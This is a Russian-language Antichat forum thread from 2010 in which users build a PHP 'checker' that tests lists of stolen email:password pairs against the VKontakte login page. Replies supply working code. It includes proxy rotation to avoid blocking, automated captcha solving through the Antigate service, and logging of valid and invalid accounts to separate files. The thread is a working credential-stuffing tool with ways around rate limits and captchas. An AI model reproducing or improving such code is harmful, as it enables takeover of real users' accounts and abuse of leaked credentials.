Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
чекер аккаунтов вконтакте |

19.03.2010, 01:15
|
|
Участник форума
Регистрация: 01.03.2009
Сообщений: 121
Провел на форуме: 4022236
Репутация:
38
|
|
чекер аккаунтов вконтакте
Уважаемые кодеры!
Вот я тут пытался сделать чекер акков вконтакте, но так как у меня мало опыта в php естественно многое не получается.  )
Вот скрипт, суть такая. Забиваем акки в textarea, далее Send и скрипт выводит валидные акки. Но в моём скрипте максимум проверяется только один аккаунт, далее пишет:
Cannot redeclare curl()
Помогите разобраться!
PHP код:
<form method="post" />
<textarea cols=80 rows=18 name="akki-list">
</textarea>
<br />
<input type="submit" value=" Send " />
</form>
<?php
if(isset($_POST['akki-list'])) {
foreach(explode("\n",$_POST['akki-list']) as $line)
{
$pos = strpos($line, ':');
$email = substr($line, 0, $pos);
$pos2 = strpos($line, ':');
$pass = substr($line, $pos2);
$pass = @ereg_replace(":", "", $pass);
function curl($url,$post)
{
$cfile = 'cheker-cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
$proxy="ip:port";
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
$result = curl('http://vkontakte.ru/','');
if(strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
{ $result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
}
if (preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
echo "$email:$pass - ok<br />";
else
echo "$email<br>$pass - bad";
unlink('cheker-cookies.txt');
}
}
?>
|
|
|

19.03.2010, 01:43
|
|
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме: 2769640
Репутация:
1304
|
|
SkyLine32 Объявление функции сделайте вне цикла
__________________
Любая действущая программа устарела.
Создайте систему, которой сможет пользоваться даже дурак ,и только дурак захочет ею пользоваться.
Как правильно задавать вопросы: _http://www.yakimchuk.ru/questions.htm
|
|
|

19.03.2010, 02:06
|
|
Участник форума
Регистрация: 01.03.2009
Сообщений: 121
Провел на форуме: 4022236
Репутация:
38
|
|
Сообщение от Gifts
SkyLine32 Объявление функции сделайте вне цикла
помогло спасибо! Только теперь появилась новая проблема, все аккаунты пишет что валидные, хотя для теста забивал в textarea и не рабочие...
Последний раз редактировалось SkyLine32; 19.03.2010 в 02:09..
|
|
|

19.03.2010, 04:04
|
|
Участник форума
Регистрация: 01.03.2009
Сообщений: 121
Провел на форуме: 4022236
Репутация:
38
|
|
PHP код:
<form method="post" />
<textarea cols="80" rows="18" name="akki-list">
</textarea>
<br />
<input type="submit" value=" Send " />
</form>
<?php
if(isset($_POST['akki-list'])) {
function curl($url,$post)
{
$cfile = 'cheker-cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.6");
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
$proxy="ip:port";
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
foreach(explode("\n",$_POST['akki-list']) as $line)
{
$pos = strpos($line, ':');
$email = substr($line, 0, $pos);
$pos2 = strpos($line, ':');
$pass = substr($line, $pos2);
$pass = @ereg_replace(":", "", $pass);
$result = curl('http://vkontakte.ru/','');
if(strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
{ $result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
}
if (preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
echo "$email:$pass - ok<br />";
else
echo "$email:$pass - bad<br />";
unlink('cheker-cookies.txt');
}
}
?>
Ну вот в принципе рабочий чекер на php. Но только работает странно. Раз работает, другой раз не работает... Может ли сайт вконтакте блокировать прокси при частой проверки паролей на валидность? Если да, то как это можно обойти?
|
|
|

19.03.2010, 23:50
|
|
Участник форума
Регистрация: 01.03.2009
Сообщений: 121
Провел на форуме: 4022236
Репутация:
38
|
|
Что никто не знает как решить данную задачу?
|
|
|

20.03.2010, 00:42
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме: 1698585
Репутация:
818
|
|
Может ли сайт вконтакте блокировать прокси при частой проверки паролей на валидность? Если да, то как это можно обойти?
Ты бы ротацию проксей прикрутил, в добавок проверок на работоспособность прокси, таймауты...
Что никто не знает как решить данную задачу?
Эта фраза убивает, тут где-то написано что тебе ОБЯЗАНЫ помогать, и если не ответили можно расценивать как незнание решения твоей проблемы ?
|
|
|

20.03.2010, 01:33
|
|
Участник форума
Регистрация: 01.03.2009
Сообщений: 121
Провел на форуме: 4022236
Репутация:
38
|
|
Сообщение от b3
Эта фраза убивает, тут где-то написано что тебе ОБЯЗАНЫ помогать, и если не ответили можно расценивать как незнание решения твоей проблемы ?
Ну всё же я попросил совета а не сказал что мне все тут ОБЯЗАНЫ помогать... А я почти сутки сижу и в надежде на совет  Ну слава богу хоть ты мне кое что посоветовал...
Сообщение от b3
Ты бы ротацию проксей прикрутил, в добавок проверок на работоспособность прокси, таймауты...
Ротация прокси это имеется ввиду их смена?
А таймаут это время между каждой проверкой 1 аккаунта? Если да то какое время нужно поставить?
|
|
|

20.03.2010, 04:45
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме: 1698585
Репутация:
818
|
|
Ротация прокси это имеется ввиду их смена?
Да, если к примеру вылезла капча, меняеш проксю, или если нет конекта к вкантакту (прокси мертвая). Также добавь проверку по curl_errno если ответ >0 значит нужно менять проксю.
А таймаут это время между каждой проверкой 1 аккаунта? Если да то какое время нужно поставить?
Это curl_setopt($ch, CURLOPT_TIMEOUT, 10); чтоб не ждать по минуте при медленной проксе.
|
|
|

20.03.2010, 05:09
|
|
Участник форума
Регистрация: 21.04.2007
Сообщений: 259
Провел на форуме: 2177994
Репутация:
219
|
|
Наверное надо как то так:
PHP код:
<?
set_time_limit(0);
require_once 'config.ini';
function recognize($filename, $apikey, $is_verbose = true, $rtimeout = 5, $mtimeout = 120, $is_phrase = 0, $is_regsense = 0, $is_numeric = 0, $min_len = 0, $max_len = 0)
{
if (!file_exists($filename))
{
if ($is_verbose) echo "file $filename not found\n";
return false;
}
$postdata = array(
'method' => 'post',
'key' => $apikey,
'file' => '@'.$filename, //полный путь к файлу
'phrase' => $is_phrase,
'regsense' => $is_regsense,
'numeric' => $is_numeric,
'min_len' => $min_len,
'max_len' => $max_len,
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://www.antigate.com/in.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
$result = curl_exec($ch);
if (curl_errno($ch))
{
if ($is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
return false;
}
curl_close($ch);
if (strpos($result, "ERROR")!==false)
{
if ($is_verbose) echo "server returned error: $result\n";
return false;
}
else
{
$ex = explode("|", $result);
$captcha_id = $ex[1];
if ($is_verbose) echo "captcha sent, got captcha ID $captcha_id\n";
$waittime = 0;
if ($is_verbose) echo "waiting for $rtimeout seconds\n";
sleep($rtimeout);
while(true)
{
$result = file_get_contents('http://antigate.com/res.php?key='.$apikey.'&action=get&id='.$captcha_id);
if (strpos($result, 'ERROR')!==false)
{
if ($is_verbose) echo "server returned error: $result\n";
return false;
}
if ($result=="CAPCHA_NOT_READY")
{
if ($is_verbose) echo "captcha is not ready yet\n";
$waittime += $rtimeout;
if ($waittime>$mtimeout)
{
if ($is_verbose) echo "timelimit ($mtimeout) hit\n";
break;
}
if ($is_verbose) echo "waiting for $rtimeout seconds\n";
sleep($rtimeout);
}
else
{
$ex = explode('|', $result);
if (trim($ex[0])=='OK') return trim($ex[1]);
}
}
return false;
}
}
function GetList($filename){
if(!file_exists($filename)||filesize($filename)==0)return -1;
$handle = fopen($filename,'r');
$source = fread($handle,filesize($filename));
fclose($handle);
$source = str_replace(array("\r","\t"),"",$source);
$source = explode("\n",$source);
return $source;
}
function ToLog($str)
{
global $log_handle;
fwrite($log_handle,$str);
echo $str;
flush();
}
function Login($login,$password)
{
$init = curl_init();
curl_setopt($init, CURLOPT_URL, 'http://vkontakte.ru/login.php');
curl_setopt($init, CURLOPT_POST, 1);
curl_setopt($init, CURLOPT_TIMEOUT, 15);
curl_setopt($init, CURLOPT_POSTFIELDS, 'op=a_login_attempt');
curl_setopt($init, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($init, CURLOPT_HEADER, 1);
curl_setopt($init, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
$source = curl_exec($init);
curl_close($init);
if(strstr($source,'Enter code')){
global $use_AC,$captcha_file;
if($use_AC)
{
preg_match('|\{"ok":-2,"captcha_sid":"(\d+)","text":"Enter code"\}|', $source, $cid);
$img = fopen($captcha_file,"w");
fwrite($img,file_get_contents("http://vkontakte.ru/captcha.php?s=1&sid=$cid[1]"));
fclose($img);
$captcha_code=recognize($captcha_file,$AC_key,false);
$init = curl_init();
curl_setopt($init, CURLOPT_URL, 'http://vkontakte.ru/login.php');
curl_setopt($init, CURLOPT_POST, 1);
curl_setopt($init, CURLOPT_TIMEOUT, 15);
curl_setopt($init, CURLOPT_POSTFIELDS, "op=a_login_attempt&captcha_sid=$cid[1]&captcha_key=$captcha_code");
curl_setopt($init, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($init, CURLOPT_HEADER, 1);
curl_setopt($init, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
$source = curl_exec($init);
curl_close($init);
return array('captcha_block',null);
}
else
return array('captcha_block',null);
}
$init = curl_init();
curl_setopt($init, CURLOPT_URL, 'http://login.vk.com/?act=login');
curl_setopt($init, CURLOPT_POST, 1);
curl_setopt($init, CURLOPT_TIMEOUT, 15);
curl_setopt($init, CURLOPT_POSTFIELDS,'email='.$login.'&pass='.$password.'&expire=&vk=');
curl_setopt($init, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($init, CURLOPT_HEADER, 1);
curl_setopt($init, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
$source = curl_exec($init);
curl_close($init);
if(preg_match('|<input type=\'hidden\' name=\'s\' id=\'s\' value=\'(\w+)\' />|', $source, $rsid))
return array('valid',$rsid[1]);
else
return array('invalid',null);
}
$log_handle = fopen($log_file,"a+");
$good_handle = fopen($good_file,"a+");
$bad_handle = fopen($bad_file,"a+");
$accounts = GetList($vk_accs);
if($accounts==-1)
die("\r\n file accounts not found or clean \r\n");
$val_acc = (count($accounts)-1);
for($i=0;$i<=$val_acc;$i++)
{
if($accounts[$i]=='')
continue;
list($mail,$pass) = explode($delimeter,$accounts[$i]);
$res = Login($mail,$pass);
switch($res[0])
{
case 'captcha_block':
if(!$use_AC){
ToLog("$mail$delimeter$pass [captcha block]\r\n");
}
else
$i--;
break;
case 'valid':
ToLog("$mail$delimeter$pass [valid!]\r\n");
fwrite($good_handle,"$mail$delimeter$pass\r\n");
break;
case 'invalid':
ToLog("$mail$delimeter$pass [invalid]\r\n");
fwrite($bad_handle,"$mail$delimeter$pass\r\n");
break;
}
}
fclose($log_handle);
fclose($good_handle);
fclose($bad_handle);
?>
|
|
|

22.03.2010, 22:33
|
|
Участник форума
Регистрация: 01.03.2009
Сообщений: 121
Провел на форуме: 4022236
Репутация:
38
|
|
Вроде чекает норм, для меня для начинающего в области php сойдёт
Всем спасибо за помощь!
PHP код:
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN'
'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
<html xmlns='http://www.w3.org/1999/xhtml'>
<head>
<title>чекер вконтакте</title>
<style type='text/css' media='all'>
body,html {
background:#004243;
font-family: verdana;
font-size:10px;
color:#2D8AB9;
}
textarea {
background:#008A8C;
font-family: verdana;
font-size:10px;
color: #FFFFFF;
}
#ok {
color: #00A437;
font-family: Verdana;
font-size: 10px;
background-color: #111;
border-color: #002E3B;
cursor:pointer;
}
</style>
</head>
<body>
<form method="post" />
<textarea cols="100" rows="25" name="akki-list">
</textarea>
<br /><br />
<input type="submit" value=" Send " id='ok' />
</form>
<form action="http://best.vg/" method="post" />
<input type="submit" value=" © " id='ok' />
</form>
<?php
set_time_limit(0);
$cookies = 'cookies.txt';
if(isset($_POST['akki-list']))
{
function curl($url,$post)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.6');
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_PROXY, $proxy.':'.$port);
//curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
foreach(explode("\n",$_POST['akki-list']) as $line)
{
$pos = strpos($line, ':');
$email = substr($line, 0, $pos);
$pos2 = strpos($line, ':');
$pass = substr($line, $pos2);
$pass = @ereg_replace(":", "", $pass);
$file = file('proxy.txt');
$prox = explode(':', $file[0]);
$proxy = $prox['0'];
$port = $prox['1'];
$newp = str_replace($proxy.':'.$port, '', file_get_contents('proxy.txt'));
if($prf = fopen('proxy.txt', 'w+'))
{
fwrite($prf, $newp);
fclose($prf);
$result = curl('http://vkontakte.ru/','');
if(strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
{
$result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
}
if (preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
echo "<font color=green>$email:$pass - ok - $proxy:$port</font><br />";
else
echo "<font color=red>$email:$pass - bad - $proxy:$port</font><br />";
}
else {echo 'хз';}
}
}
?>
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|